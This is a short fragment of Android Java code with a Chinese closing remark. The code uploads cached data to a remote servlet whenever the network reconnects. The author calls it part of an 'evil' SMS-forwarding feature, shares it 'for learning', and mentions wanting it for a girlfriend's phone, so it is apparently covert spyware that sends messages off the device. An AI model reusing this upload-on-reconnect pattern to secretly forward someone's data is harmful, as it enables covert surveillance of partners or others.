  23.         if (!gprs.isConnected() && !wifi.isConnected()) {  
  24.             // network closed  
  25.         } else {  
  26.             // network opend  
  27.             SharedPreferences sharedPreferences = context.getSharedPreferences(ServiceUtil.CONFIG_NAME,Context.MODE_PRIVATE);  
  28.             String content = sharedPreferences.getString(ServiceUtil.OFF_INFO, "");  
  29.             if(!"".equals(content)){  
  30.                 if(CommndUtil.sendInternet(content, ServiceUtil.PHO_SERVLET)){  
  31.                     sharedPreferences.edit().putString(ServiceUtil.OFF_INFO, "").commit();  
  32.                 }  
  33.             }  
  34.         }  
  35.     }  
  36. }  

 

 

我妹子是windows phone平台的,我也不会移植,用不了。仅作学习交流之用,短信转发这个功能有点邪恶。。。不要随便使用